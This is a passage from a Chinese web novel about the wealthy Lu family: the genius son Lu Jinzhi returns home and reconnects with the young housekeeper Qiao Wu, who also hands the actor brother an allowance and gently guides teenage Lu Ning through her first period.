陆柠:“……” 她以为陆尽之会像以前一样无视她,可没想到这次他却捻起一张便签:“你写的?” 陆柠发现是自己留在书里的那张。 “嗯……试图融入了一下。”她怯生生地说。 “融入得很不好,没有下次。”陆尽之将那张纸扔在桌上,“不知道的还以为佣人在这里养了鸡。” 陆柠觉得自己被羞辱了,但她不敢反驳,只闷着头走上前把自己的便签捡起来,打算等陆尽之不在的时候再塞回去。 “都是你的?”陆尽之又拿起上面的一本练习册。 陆柠最近都在藏书楼写作业,安静,而且还能看书,所以很多东西都留在这里了,包括一些练习册。 她点点头。 陆尽之修长的指尖轻轻翻动。 陆柠缩着脖子,心随着他的动作都收紧了。 被陆应池看作业和被陆尽之看作业完全是不同的感受。 果不其然,几秒后陆柠头顶落下一声不带任何感情的轻嘲:“还不如养只鸡。” 陆尽之合上练习册。 通篇下来,除了上进一无是处。 陆柠忍气吞声。 躲了十三年的嘴毒终于落到了她头上。 第28章 第二十八章陆尽之在 陆尽之很快就走了。 只留下陆柠一个人坐在桌前小心翼翼地将自己的便签重新放回去,她盯着自己的字迹看了好久。 这不是能看懂吗,要求那么高干什么。 还有,陆尽之为什么突然要翻开她的作业!就是为了羞辱她吗,可恶的天才,她只不过是大智若愚罢了! 晚上吃饭的时候,陆柠左顾右盼,发现陆尽之不在就立刻冲到乔梧面前:“我要举报。” 乔梧:“什么?” “陆……二叔今天言行不当人身攻击我了。” 原来陆尽之今天是去了藏书楼? 乔梧笑问:“他攻击你什么?” “说我写的东西不如鸡。”陆柠小声告状。 陆应池:“那也不算攻击。” 他这次还算比较诚恳:“在陆尽之眼里除了他自己其他人都不是人类。” 因为他以前也被毫不避讳地骂傻狗。 所以他也可以没有心理负担地骂陆尽之是猴。 “他回来了?”陆宣蹙眉,“所以他人呢?” 乔梧:“医院,他会晚点回来。” 所有人心里不约而同冒出一句话。 晚点好,不回来最好。 “所以我的举报有效吗?”陆柠不死心地问。 乔梧点头:“我会跟他说。” 此时的医院。 陆江半靠在病床上,已经盯着自己二儿子看很久了,对方自从走进病房打了个招呼开始就一直在翻看文件,没怎么抬过头。 他一直以为两年前老二出国是因为生他的气,所以这两年父子两的联系很少。 可没想到让老二回国时对方没有任何犹豫就答应了,回国第一天就来医院看他,哪怕没怎么搭理他,跟其他两个进来没一分钟就要把他气得半死的逆子比已经好很多了。 所以关于两年前的事,陆江觉得自己也不是不可以先服个软,所以他先打破了这个僵局:“怎么样?” 陆尽之翻看文件的动作没停,淡淡道:“不怎么样。” 陆江:“?” 陆尽之压根没抬头,所以也不知道自己的老父亲的表情变得空白,继续道:“事实证明你的决策收益不仅不高,集团发展也止步不前。” 陆江:“??” 陆尽之合上文件:“所以现在知道谁是对的了吗?” 陆江:“???” 陆江表情彻底绷不住,黑下脸:“你来医院就是为了说这个?” “嗯。” 将文件放在桌上,陆尽之平静地问,“没什么事我就回去了。” 陆江眼前一黑又一黑,两年不见,他这个儿子噎死人的功夫又见长了。 “既然还在跟我生气,为什么还要回来?”他捂着心脏问。 “生气?”陆尽之眉宇间没有任何负面的情绪,他笑笑,“我从来没有生气,只是觉得跟你争论纯属浪费时间没有意义,时间会证明你是错的。” 虽然不愿意承认,但时代总是在变迁,陆江知道自己年纪到这里很多事情有心无力,跟老二比起来有些决策上的确会有失误,但他并不认可老二说走就走的行为。 “所以你就能一走了之?如果不是这次意外你就不回来了?” 陆尽之:“并不是意外。” 陆江皱眉:“你是说……” 有人在暗算我? “你年纪大了,这是必然。”陆尽之实事求是,“所以我原本计划的时间也是两年左右。” 父亲并不会因为谁而改变,所以他的计划是等他争论不动了再回来。 反正陆氏再怎么发展倒退他也能救回来,但父亲的想法比公司还难拯救。 所以他的脑子自动做出了最佳选择。 现在时间到了他自然不会排斥回来,而且还要把这次决断的结果证明给父亲看,证明他是对的。 他挑眉:“你定期体检时对自己的身体不做评估?” 陆江:“……” 他一把抓住了身旁的谢意,紧紧阖眼:“叫,叫医生。” 他三个儿子,有两个在惦记他的遗产,有一个已经在精确计算他什么时候死了。 造孽啊,真是造孽! 陆尽之全程都只坐在沙发上观察,视线从陆江抓住谢意的手上扫过又轻轻收回,起身道:“我走了。” “等下。”陆江皱眉,“你见到小梧了?” 小梧? 这个略显亲近的称呼让陆尽之多给了他父亲一些关注,据他所知过去的陆江并不喜欢乔梧。 “嗯。” 陆江问:“她怎么样?” 不管现在他对乔梧的工作能力有多肯定,但以后乔梧始终都要陪着陆尽之工作,陆江并不希望错误从一开始就发生。 让他意外的是,原本对任何事都成竹在胸几乎不会犹豫的老二这次却安静了好几秒。 陆江不禁抬头。 陆尽之一瞬间想起了《苏菲的世界》里那张便签上留下的字迹,哪怕过了很多年依旧没有任何改变。 他嗯了声:“还行。” 这次陆江是真的愣住了。 能让他这个儿子说出还行的人,他第一次听。 “你是说她的工作能力还是?” 陆尽之笑了下:“你问的不是她?” 工作上没有谁不可取代,只要有钱,世界上所有的人才任由挑选。 只有那个人本身的独一无二,才能作为值得与其他人相较的条件。 显然陆尽之很坦荡,丝毫没有意识到他说了什么厉害的话。 陆江还欲再追问些什么,但谢意刚才按铃后医生推门进来了,见陆尽之站在病房里,医生话音拐了个弯:“陆总。” 陆尽之点点头。 医生这才走进去问:“老陆总,您哪里不舒服?” 走到病房门口的陆尽之回眸看了眼,淡声说:“治不了了,矫情癌晚期。” 医生:“……” 压根不敢说话,因为陆家每个人定期体检的报告每次都会完完整整送一份到陆尽之手上。 陆江气得从床上蹦起来:“逆子!” 可惜陆尽之没给他脾气发作的机会,头也不回地将门合上之前留下最后一句话:“别滥用医疗资源。” 病房里吵得天翻地覆,病房外陆尽之已经走出了好远。 除了体检报告是他衡量陆江健康标准的依据,从陆江病倒的消息传到他耳朵里的那一刻,医院的报告也到了。 诚然陆江这次病得急,但只是那段时间过于劳累,加上经年已久的心理问题。 之所以在医院待了这么多天无非就是要找个借口逼他回国。 陆尽之懒得跟他玩这种弯弯绕绕的戏码。 从医院回到陆宅夜已经深了。 看到陆宅大门那一刻,陆尽之总算感到了些疲乏,他才进门就有佣人迎上来:“二少爷,需要给您准备吃的吗?” 这是过去每次回来的例行询问,虽然入口的东西陆尽之都很挑剔,但其实他的口腹之欲并不旺盛,只要不饿他就不会吃东西。 所以他也跟往常一样拒绝:“不用。” 但不同的是这次佣人们没有离开,而是继续道:“小乔管家说就算不吃饭也不能空腹,对胃不好,所以厨房一直都准备着等您回来。” 不知怎么,陆尽之脑海里忽然想起来那份“传统霸总”文件里的其中一条。 霸总常见病之一,胃病。 真的有毒。 他回来的时间并不早,所以听到厨房还在等他时敛眸:“快一点。” 佣人有些惊讶,因为小乔管家在嘱咐时曾经已经说过了先熬点粥,如果二少爷没有表达要吃什么就上粥,这样饱腹感不会太强也很快。 “好的。” 陆尽之来到餐厅,才发现餐厅也变了。 有个移动电视,还有个长得很丑的机器人。 “这是什么?”他问。 “这是小乔管家买来的玩具。”佣人说,“好像需要两个人玩。” 陆尽之有些意外。 这个家里居然还能出现两个人才能玩的项目?他一直以为整个家的人都是独行种。 他刚坐下,出于惯**人就很自觉地把移动电视打开了。 深夜法制频道,开屏直接双杀。 本来就没什么胃口的陆尽之眼皮轻轻一跳:“你们让我吃饭的时候看这个?” 佣人忙道:“这是小乔管家吩咐的,三少爷他们每天都必须看,还需要做笔记。” 陆尽之:“?” 他忽然想起了大客厅墙上那两张突兀的行为守则,第三条的确是这么写的。 所以那些小学生行为守则约束的对象,也包括他? “她呢?”他问。 “小乔管家吗?” “嗯。” “刚才给她打电话报您平安的时候还在藏书楼,需要再打电话确认一下吗?” 陆尽之眉梢轻扬:“报我的平安?” “家里有门禁时间,按理来说如果没有在这个时间点回来需要提前给小乔管家报平安的,我们也不清楚这次小乔管家为什么让我们给她报。” “其他人是自己报?” “应该是,不过目前三少爷四少爷和小小姐都没有在门禁时间后回来过。” 厨房很快就将早就在熬的粥端上来。 看上去色泽还行,陆尽之拿起勺子尝了一口,凤眼微合:“这是什么?” “绿豆百合粥。” 陆尽之嗯了声,他并不喜欢咸粥,也不嗜甜,但这碗粥恰恰符合他的口味。 将一碗粥喝下,他才道:“也是她让熬的?” 虽是疑问,却已经有几分确定了。 “是的。” 陆尽之没说话,擦净嘴后就起身离开了餐厅。 只不过他没着急上楼,而是再一次去了藏书楼。 为了确保里面的安静,这边都是无声推拉门,地上都铺上了地毯。 就像下午陆柠没发现他一样,这次楼里的乔梧也没有发现他。 乔梧坐在二楼的木梯上,脚一高一低轻轻搭着,正专心致志翻看手中的书,宁静的空间里偶而响起她划过书页的声音。 陆尽之倚在门口,需要稍稍仰起头才能看到她,但由于垂吊的灯具光芒有些刺眼,所以并不能看清她的脸。 在有限的记忆中,他很少在藏书楼跟乔梧遇上,就算是遇上了这个地方也很大,所以都是在各自的地方安安静静看着自己的书。 正如他所说,乔梧一直很安静。 但小时候的乔梧发育得晚一些,个子一直不是很高,加上那会儿她自己还推不动木梯,所以偶尔会来到他身边,轻声问能不能帮帮她。 家里的小孩,就连现在还在叛逆期的陆宣和陆应池在小时候也会喊他一声二哥。 只有乔梧不会。 陆宣比乔梧大一岁,每天还在口水兮兮喊二哥吵得人心烦的时候,才堪堪学会说话乔梧就会一个一个字地喊他“陆、尽、之”。 字字清晰。 那会儿他还想,原来小孩的声音也不是都吵闹难听。 他没有必尊长幼的意识,只遵从自己的内心喜好,乔梧喊陆尽之好听就可以不喊他哥哥、不喊他少爷。 所以从一开始比他小五岁的乔梧都只喊他陆尽之。 他是陆家的例外,是所有人眼里的天之骄子,连严厉的父亲都会对他有几分好颜色,他越长大就越能分辨出自己的不同。 同时他也并不能理解,为什么有些人说着他很优秀的同时却在远离他,害怕他。 只有乔梧永远都那样。 “陆尽之,请问你可以帮我拿一下那本书吗?” “陆尽之,请问你可以帮我一起推这个梯子吗?” “陆尽之,我跟爸爸说了,你不爱吃甜的。” “陆尽之……” 直到十二年前的某一天,那个人忽然笑着喊了他一声二少爷。 陆尽之回头看过去的时候,一瞬间觉得眼前的人很陌生,陌生到他不愿再看第二眼。 从那以后,他的人生中又多了一个让他讨厌的声音。 既然讨厌就不要好了。 他的确也是这么做的,所以他无视了乔梧发来的很多消息和讨好,他从来不会为已经做好利弊衡量的事犹豫,除了第一次收到乔梧出格的试探。 他的理智清晰地在告诉他这个人留不得。 可他却没有第一时间做出选择。 是因为顾及老管家这么多年照顾的情谊,还是因为那声再也没听到过的陆尽之。 他在这个人身上又多了一个无解的问题。 而在他等了很久,等到已经没有了耐心没有了可以说服自己的理由时,他接到了一通电话。 打电话的人也不知道在想什么,很久都没说话。 然后他听到了一声“陆尽之”。 陆尽之觉得自己的脑袋像一台精密的仪器,他一向引以为傲,但在那一刻他居然没有第一时间将那句话所有的信息都记下来。 而是一直驻足在最开始的那三个字上。 直到他的仪器发出了警报声,他才回神记起后面完整的话。 她要借快艇。 那就借吧,他想。 那个突如其来的电话挂断好一会儿,他才想起去为自己的这一次失误打补丁。 第二次接到电话。 他不知出于什么心理,在回答之前又多问了一遍他是谁。 电话那头的人依旧说,陆尽之。 陆尽之很难体会到别人的情感,同样也很难体会到自己的情感。 能让他自己第一时间察觉到情绪变化的次数更是屈指可数。 一次难过,是选择承担大哥责任的那天,他远远看着乔梧和其他人说话。 一次高兴,是那天打电话乔梧回答他,他是陆尽之。 他一直挺不喜欢自己的名字,因为“尽”这个字并不好。 只是有个人把它喊得好听了,所以他勉为其难将就一下。 后来他担心把名字改了,就没人再叫得出这个名字。 “陆尽之?” 一声轻唤将陆尽之从回忆中拉扯出来,他视线聚焦,还是没能看清楼梯上那人的模样,但却无端觉得,这个 人跟他印象里某个小小的身影重合了。 这藏书楼里一共七十三万四千八百七十一本书,上至天文下至地理,科学伦理神鬼怪谈,数不清的手稿珍本,他虽然没有全部看完,但也看了不少。 陆尽之不觉得有什么事是不可能发生的。 就像有一个人会消失十二年,但又突然回来一样。 为什么不可能? 他往前走了几步,从门口的昏暗中走出来,绕过中间的吊灯,终于能看清木梯上的人的模样。 “嗯。” 说话间他已经走上了楼。 乔梧最近有点忙,只有晚上事情都结束以后她才能找到一点时间来这里继续看书,但今天有点晚,所以眼睛实在累了,她才摘下眼镜将书和笔放在腿上,打算按一按眼睛。 但没想一低头就看到门口站了个人。 也不知道他在那里站多久了,悄无声息的。 “还没睡吗?” “你可以当我在梦游。” “……” 难怪会被陆柠举报。 眼看着时间也不早了,乔梧也没继续再看,她起身将书放回原位,打算下次再来。 陆尽之站在木梯下,这次不用仰头,对方抬手的一瞬间隐隐露出的腰线猝不及防落在他眼底。 他眼睫垂下。 方才那瞬间重合的身影在这一刻又分开得彻底。 小孩已经可以独自推动木梯,也能凭自己够到上层的书架,她长大了,也不再用得到他。 “陆尽之,我要下来了。” 陆尽之抬眸,还没反应过来的时候已经伸出了手。 乔梧愣了下。 意识到自己做了什么的陆尽之也愣了。 他很快收回手,往后退了一步给她腾出下梯子的空间。 “我看到了。”他说。 “看到什么?” “苏菲的船。” 乔梧失笑,一边将木梯推去角落,一边道:“所以你是因为这个才对陆柠人身攻击的?” 陆尽之并不认同这个词,而是客观道:“我只是在纠正你对她的错误评价。” 像陆柠那样的水平,别说二十七岁。 就是二百七十岁,也不可能后来居上。 乔梧从梯子上拿回自己的眼镜戴上:“并不是人人都叫陆尽之,怎么不对普通人多一点包容。” 下午被说“这个年纪”的陆尽之在这一刻忽然被这一句话给抚平了。 他靠着书架,这次要微垂下视线才能看到她的眼睛,他喜欢看这个地方,因为能看到这个人在这一刻最真实的想法。 “我没有把她的作业撕了。”陆尽之觉得自己仁至义尽,“这还不够包容?” 这么一听,乔梧发现陆尽之的确对陆柠多了一点耐心。 这要是换做以前的陆应池和陆宣,只要有让他看不爽的东西,一般不会存在到第二天。 也不怪陆应池说他是猴,给人的阴影的确不小。 “她挺害怕你的。”乔梧说。 陆尽之淡淡评价:“这是一件值得骄傲的事情么?” 他只是站在那里就害怕了,挺没用。 算了,跟陆尽之打感情牌就是个错误。 乔梧换了个直白的说法:“你记得那个行为准则吧?他们现在都很遵守上面的规则,所以我不希望因为你毁掉。” 陆尽之偏了偏头,笑道:“所以让人打电话给你报我的平安?” “不行吗?”乔梧反问。 “你定规则的时候没有跟我说,我又为什么要在你的规则之内?” “所以我没有强制你。” 因为陆尽之不知情,所以她没有在门禁时间之前要求他一定要回来或者打电话,只是让佣人给她回个电话。 陆尽之没继续之前那个问题,而是问:“你这么晚还在这里,是在等电话?” 乔梧没有否认。 陆尽之第一天回国,还去了医院,她担心他会跟老先生起什么冲突。 否则第二天要早起的她再怎么喜欢读书,也不会在这里待到这么晚。 “为什么让人提前熬粥,你确定我一定会吃?” 那粥的软烂程度并不是那么快就能熬好的。 陆尽之是一个有问题就会想要第一时间弄明白的人,所以乔梧并不打算瞒着他。 “因为加班要加班费,你没有给他们加班费。” 在独属于陆尽之的天秤上,他自有一套衡量方式。 他要求高,不是什么东西都吃,更不愿意浪费时间等,所以他以前回家晚了想吃东西会在来之前就提前让厨房按照他当时的要求做,再单独给厨师加班费。 在他看来付出要跟获得对等。 因此如果他没提前来电的情况下,再跟他说厨房在等他,他不会随便拒绝。 至少他要让对方浪费的时间得到回报。 至于吃到东西后要不要给加班费,那又是他自己的衡量方式了。 就像他对陆应池和陆宣那么恶劣,是因为他觉得这两人以前很讨厌消耗了他的情绪,所以对等的,他可以心安理得欺负他们。 但陆柠对他来说没那么讨厌,所以他真的对陆柠会多一点包容。 虽然有点卑鄙,但乔梧的确利用了他那点特殊习惯在道德绑架他喝粥。 在乔梧的预设里,陆尽之不管喝不喝,结束后就应该去休息了,但没想到他会出现在这儿,所以她不太确定他是来问责的还是来做其他。 她问:“所以后来你给了吗?” 陆尽之静静地看了她几秒,忽而笑了下,答非所问:“父亲今天问我你怎么样。” “什么?” “我说还行。” 乔梧没听明白。 “我判断失误了。”陆尽之继而道,“你比我想象中要了解我。” 甚至超过了他。 “还有个问题。” 乔梧有点跟不上这个天才的思路,无意识抬眸:“嗯?” 靠在书架上的陆尽之站直,身体微微前倾视线与她平齐,轻声问她:“我是谁?” 乔梧:“陆尽之。” “嗯。”陆尽之莞尔,“陆尽之给了。” 因为那份粥做得很合他的心意,所以他给了厨师加班费。 “下次需要报平安直接找我。”他说。 “你答应了?” 这比乔梧想象中更简单,她还以为自己需要跟他分析利弊,让他的天秤做好衡量呢。 “为什么?”她问。 “因为二少爷不在你的规则内。”陆尽之黑眸盈着浅笑,“但陆尽之在。” 第29章 第二十九章高兴的事 陆尽之回来的第二天是周末,除了陆宣要去公司其他人都很自觉没有早起,都不愿意跟陆尽之碰上面。 以前见面都不知道要说什么,更别提现在过了两年就更没有什么共同话题了。 乔梧也没有叫陆尽之起床,他周一之前只有休息的想法,并不打算去公司。 所以早晨的餐桌上只有陆宣和她。 乔梧拿出一张卡放到陆宣面前。 后者挑眉:“怎么?” “下周不是要去参加综艺么?” 经纪人每天都会把陆宣的工作安排和行程发到她的邮箱里,昨晚乔梧看到他最近要去其他市参加演员训练营,综艺节目封闭录制一个月,所以她在这张卡里留了些钱给陆宣应急用。 “里面有十万。”乔梧说,“足够你一个月的生活花销。” 最近这几天他吃住在家,也没再出去鬼混,所以还没有从金主这里得到钱。 没想到第一次,却只是十万。 “十万?”陆宣不可置信,“十万块钱能干什么!” “十万块钱是普通人家几口人一年的花销,你说能干什么?你吃住在节目组,来回机票报销,花不到钱。”乔梧眼都没抬,“还是你觉得多了?” “……” 陆宣飞速把卡拿起来。 十万,三十天,平均一天花三千多…… 捏卡的手微微颤抖。 “连外面的鸭都不如。” 什么乱七八糟的。 乔梧放下手中的勺子,缓声问:“你怎么知道外面的鸭多少钱?” “很多人都包……”陆宣话说了一半,忽然止住。 他扭头看到乔梧似笑非笑的表情,忽然脚底发凉,找补道:“我当然没有,就是听人说过。” 娱乐圈是个大染缸,更有一条隐形的食物链,虽然他的咖位 还不足以到最顶峰,但他的金钱已经到了,所以从他进娱乐圈开始就陆续有不少人都想往他身边送人。 他鼻息轻顿,懒声道:“长得都没我好看,我为什么要花钱找人嫖自己。” 虽然的确有些人是不要钱自己送上来的。 但他又不是烂黄瓜,眼光很高的好伐。 乔梧挑眉:“长得好看的就行了?” “一般人长得能有我好看?你知道娱乐圈颜王的含金量吗。”陆宣扬扬手里的那张卡,轻啧,“我这样的,十万块还没资格见我一面,也就你了。” 意识到自己说的话有歧义,他皱皱眉:“我不是说我是鸭。” “嗯,你说你要找好看的。” 懒得再跟他说这种无聊的话题,乔梧擦擦手起身:“我吃完了。” 见人真的走了,陆宣呆坐在原地。 她是不是生气了? 为什么?他又没真的干那种事! 他蹙眉好几秒,攥着卡跟着走了出去。 看到人坐在桌前跟佣人说话,陆宣走上前靠在桌沿:“十万就十万,我又没说不要。” 乔梧撩他一眼,挥挥手让佣人走了,继续做自己的事。 “而且也不是长得好看就可以。”陆宣想吸引对方的注意力,所以往前探了探,不太确定,“你生气了?” 乔梧无声叹了口气,抬起头:“为什么要生气?” “因为……”陆宣说不出个所以然,他就是下意识觉得乔梧会讨厌这样的事情。 他想了想,可木目光却不自觉望向对方的浅瞳里。 陆宣忽然觉得这双眼睛很好看,比他在娱乐圈里见过的每一双都要好看,尤其是只看着他的时候,会让他高兴。 他目光偏了偏,落在乔梧的脸上。 从来没有这么近距离认真地看过她,她什么时候忽然长成一个大人了,还是这么好看的大人。 在这一刻陆宣忽然不敢那么确定地说,如果有这样一个人出现在他面前,他会作何反应。 被自己的念头吓了一跳,陆宣移开视线坐直:“我怎么知道?” “你觉得我生气是因为你也意识到自己做错了。”乔梧不知道他在想什么,而是淡淡道,“问我有什么意义。” “我没做。”陆宣皱眉,“我很洁身自好。” “那希望你一直洁身自好。”乔梧托着下巴往门口看,“你要迟到了。” 陆宣不情不愿地站直身体,刚要转身却又不放心地回头,绕到乔梧对面,双手撑在桌子上俯身:“我想了一下,封闭式训练也花不到钱,你给我五万就行了。” 乔梧有些意外,忍不住调侃:“不是十万都不能见你一面么?” “那是别人,你花五万就行。”陆宣将卡扔到她面前,桃花眼轻轻上挑,“不仅可以看,再拿个第一名回来,这样金主满意吗?” 不怪他总说自己是娱乐圈颜王,确实生得很勾人。 但乔梧丝毫没手软:“如果没拿回来,下个月生活费两万五。” 陆宣:“……” 颜王的人生又一次惨遭滑铁卢。 不过可以确定乔梧是的确没生气了,陆宣将仅剩五万块的卡揣进兜里,转过身时瞥见电梯门口站着个人,动作稍稍一顿。 相隔两年没见,陆尽之长得比过去更加令人讨厌了,在家里还穿得这么风骚。 他戴上墨镜:“这么喜欢偷听别人说话?” 一无所有的人就是这么无所畏惧。 陆尽之又停不了乔梧的卡。 陆尽之淡声说:“嘴上长了个喇叭还怕人听?” 不仅长得讨厌,嘴巴更让人讨厌。 “砒霜当唇膏抹的人有什么资格说我。” 陆尽之笑了声,意有所指:“看来你今天想徒步走出陆家大门。” 想到车库里那些车,好些都是未成年时买的,陆宣脸色变了变,快步走出门。 乔梧没有参与兄弟两的对话,直到现在才出声:“让厨房准备早餐么?” “嗯。”虽然是这么说,但陆尽之还是坐在原地没动。 刚才这两人说话太过于专注,连电梯门打开的声音都没听到。 又或许是对视太过专注了。 “你给他钱了?”他问。 乔梧没有否认:“他过去没想过在身上留钱。” 卡停得太急,不然真去喝西北风。 “所以你花五万,成了他的……”陆尽之不太理解这个词,但他听过,“金主?” 是用在那些包养小情儿的人身上的。 如果他没听错,刚才陆宣的确是在讨好乔梧没错,还要特意强调自己洁身自好。 五万块… “你误会了。”乔梧莫名觉得对方的目光变得有些难以琢磨,“这只是个玩笑,我只是适当给他一点生活费,趁机约束了一下他的行为,你知道的,他一直很好哄。” “没误会。”陆尽之平静地说,“虽然他的确很廉价,但你不会这么不挑食。” 只是一时没有反应过来,当初话题只有零食和玩具的两人之间会多出一个意味不明的词。 闻言乔梧还真不知道要感谢陆尽之对自己的信任,还是心疼一下陆宣在自己哥哥心中的分量。 “约束他的行为需要花钱?”陆尽之问。 乔梧想到什么,轻笑:“毕竟在他眼里我只是个无足轻重的打工人,说话没有分量,得用什么交换一下。” 当初陆宣愿意回家,不就是被她连哄带骗回来的么。 “无足轻重?” 陆尽之重复了一遍这个词,也笑了。 “挺好。” 傻狗也有傻狗的好处。 等陆尽之去餐厅吃早饭,乔梧便又去晚宴的场地转了一圈。 陆宅的主宅属于私人生活区域,不会让外客进来,所以有专门的宴会厅。 等她回来时陆尽之已经不在楼下了,陆应池因为不想见到陆尽之也让佣人把早餐送去了他的房间。 只有陆柠还没什么动静。 最近家里作息最规律的应该是陆柠,哪怕周末没有课她也会起来吃个早餐再回去,乔梧打了个电话过去,但被对方秒挂了。 怎么回事? 她端着早餐来到陆柠这层楼,敲了敲房门:“陆柠?” 里面没声音。 电话秒挂说明醒了,乔梧皱了皱眉:“不出声的话我会担心,需要叫保安吗?” 这次门内终于有了声音,陆柠应该是跑到门口了:“不要!” “怎么了?”乔梧问。 “没怎么,我一会儿就下去了。”陆柠声音听起来不太对劲,“你不要进来。” “需要帮忙吗?” “不用!你快走吧!” 这小孩已经很久没有这么应激过了,所以乔梧没有逼得太紧:“我把早餐放在门口,你记得拿,还有你举报你二叔的奖励。” 趴在门后面的陆柠听到门外没有声音以后,等了好几分钟才轻轻打开门。 看到门口摆着一个餐盘,她就将门缝打开得大了点儿,趴在地毯上手指勾住餐盘的边缘,一点点往里面托。 只是餐盘有点大,只看得见早餐,没看见所谓的奖励,所以她只好把脑袋往外又伸了伸,试图找到想要的东西。 结果奖励没看到,只看到一双大长腿。 她身体僵了僵,顺着那双长腿往上看,便看到了垂眼靠在对面墙上的乔梧。 她轻轻搭着手臂,正笑着看她这猫猫祟祟的动作。 乔梧是松了口气的,还能惦记奖励说明应该没出什么大事。 陆柠被吓了一跳,赶紧往后爬试图关上门。 乔梧也没阻止,靠着墙慢条斯理地说:“现在关了你就没奖励了。” “你骗我。”陆柠躲在门口,“根本没有奖励。” 她都看见餐盘了,除了早餐其他 什么都没有。 “不是你先骗我的?”乔梧上前蹲在门口,将餐盘端起来,“说谎的小孩就没有奖励。” 见陆柠依旧缩在门后,但却没有再关门的意思,乔梧才温声问:“我能进去吗?” “我说不能你会不进吗?”陆柠瓮声瓮气地问。 “恐怕不能。”乔梧很诚实地回答,“因为我担心你。” 这下门后再也没有了声音。 乔梧试着将门往前推了推,陆柠并没有反抗,只是往旁边挪了挪。 门顺利打开,但房间里窗帘都严丝合缝,没有开灯,只有周围一些儿童防摔的小夜灯隐隐亮着能看清人的轮廓。 这房间以前是陆柠父母的,当初生下她顾及到她年纪还小不愿分房睡,所以这个房间就被一点点改成了两用的儿童房。 她父母过世以后她也一直住在这里,但她比较独来独往,也不允许谁进房间,所以里面的陈设就没再变过,小夜灯都坏了好几盏也没人来修。 乔梧没有开灯,而是将餐盘放在桌上,回头看着缩在门后面的那一团。 陆柠的确发育比较晚,个子到现在也不是很高,瘦瘦小小的一只,尤其是在这么大个房间的衬托下,显得很可怜。 床上鼓鼓囊囊乱成一团,乔梧扫了一遍,放轻声音:“可以告诉我发生什么事了吗?” 陆柠闷声道:“没事。” “没事为什么哭?”乔梧走到她面前蹲下,揉揉她的脑袋,“是不是疼?” 这句话瞬间把陆柠拉到乔梧才回国时去她学校的时候,也是这么看着她的伤口,笑着跟她说“怎么会有不疼的伤口”。 她忍了很久的眼泪在这一刻终于绷不住落下来,怎么都止不住,张着嘴巴大口呼吸不愿意哭得太大声。 乔梧没有催,倾身把小孩抱在怀里,缓慢抚摸她的后脑。 黑暗放大了陆柠的紧张和害怕,她牢牢抓住乔梧的衣服,哭了好一会儿才抽抽搭搭地说:“我流血了,很多血。” “什么?” “我以为自己要死了。”陆柠埋着头说,“上网查,但是说什么的都有,我花了4000块钱在网上咨询医生,医生说是月经。” 因为地方很奇怪,所以她不想让人看见,也不想叫家庭医生,只好在网上查。 后来她又去搜了什么是月经,但是还没来得及看完乔梧就来了。 乔梧:“……” 她罕见地愣怔了好久,觉得有些无厘头又觉得很心疼。 “然后呢?”她轻声问,“为什么哭?” “不知道。”陆柠抹了一把眼睛,指向乱糟糟的床,“我想把衣服和床单先洗了。” 但是她没有自己洗过衣服,更没有洗过床单。 浴室里压根就没有洗衣服的工具,所以她不知道要怎么办,也不想告诉其他人这个事情。 “没事,这很正常,说明你长大了。”乔梧温声说,“我也跟你一样。” 陆柠小声说:“医生说过了。” 4000块钱找的医生还是挺靠谱的,说了很多专业术语,让她在浑浑噩噩之间也明白了自己不是得了癌症。 但她就是很迷茫,不知道要怎么做。 能想到的就是想把自己洗干净,把弄脏的东西洗干净不要让人看见。 “我一会儿跟你一起洗。”乔梧说,“我把灯打开?” 可能是有一个人能够分享自己的恐惧害怕,所以陆柠现在情绪稳定了很多,也没有那么慌张了,她点点头。 乔梧便开了灯,只是没有全部打开,好给陆柠留一点安全感。 再回头时却看见陆柠在自己下半身厚厚地裹着浴巾,头发湿漉漉的,一看就是才洗完澡。 家里都是男性,以前关系本来就僵,现在长大了也意识不到这些,所以自然不会有谁会给她准备这些东西。 乔梧没有离开,而是打电话让佣人把需要的东西都取来了。 陆宅离市区比较远,为了应急,很多东西都会在仓库里屯着新的。 听到佣人上来,陆柠又躲进了卫生间。 乔梧没让人进来,而是自己端着东西进去,这才发现陆柠折腾了很久,找不到盆就把床单全都扔进了浴缸里,浴室里也是乱糟糟的一团。 注意到她的视线,躲在门背后的陆柠小声说:“我还没来得及洗。” “没关系。”乔梧打开手里的包装盒,“来,我先教你怎么用。” 陆柠在网上搜到的,但是她没好意思看,更不好意思解开衣服给乔梧看。 可她没想到,下一秒乔梧居然就在她面前脱下了衣服。 陆柠瞪大了眼睛。 怎、怎么能这样! “别怕。”乔梧看她发愣,失笑,“不是说了么,我们是一样的。” 被乔梧大大方方的动作震惊到的陆柠甚至忘了自己刚才在担心什么,下意识往前走了几步,手腕被那只微凉的手轻轻覆上。 “抱歉。”她听见乔梧说。 陆柠脑袋有点混沌:“什么?” “是我忽略了。” 乔梧才回来没多久,每天精力都要分成好几份,所以没有注意到有一个特殊的孩子正在经历特殊的时期。 “让你一个人这么害怕。” 陆柠垂着脑袋眨了下眼睛:“又不是你的错,是我自己没好好学习。” 学校初一的时候上过生理卫生课,但是当时的学校环境不好,也没有男女分开,所以老师没有讲得太细,而她不是认真听课的人,光听见那些人叽叽喳喳就很烦了,老师讲了什么都没听见。 接下来的陆柠度过了自己生命中最难捱的十分钟。 直到全身都清理干净后穿上干净的衣服,脸上的红温还没降下去。 乔梧已经穿戴完毕依旧面不改色地重新站在了她面前。 “没骗你对不对?”乔梧捏捏她的脸,“其实并不是很奇怪的很难的事,也不用害怕害羞。” “……嗯。” 顾及到小孩这会儿还没有反应过来,所以乔梧也的确说到做到,没有把她的衣服都拿去给佣人清洗。 其实在陆宅工作的佣人都经过专业培训,每一个人的衣物都有不同的人负责,也会根据私人程度来分开洗。 更何况家里这些人的衣服基本都不便宜,除了特殊的衣料,其余能过水的基本都是手洗。 但即便是这样,乔梧之前也让佣人拿上来了新的盆,蹲在卫生间教陆柠怎么清洗自己的私人衣物。 陆柠觉得这种体验很新奇。 并不是洗衣服让她觉得新鲜,而是能有一个人陪着她说话,走到她的私人领域里来。 她看着乔梧熟练的动作,不敢想象乔梧过去也跟自己一样。 “你不是也在陆家长大的吗?” 陆柠好奇地问,“我没有见过你妈妈,那是谁教你的?” 虽然没有上过生理卫生课,但她从小就知道男女有别,总不能是老管家教的吧? 当然不是,这个世界的身体进入青春期时跟乔知义的关系已经很僵了。 “跟你一样。”乔梧笑道,“自己查的。” 陆柠哦了一声:“但你一定不会哭。” 她承认,乔梧的确很厉害。 这么厉害的人做什么事都会做得很好,也会很冷静,不会害怕不会羞耻,更不会像她一样没出息地趴在地毯上哭。 “为什么不会?”乔梧轻轻道,“那会儿我也是孩子。” 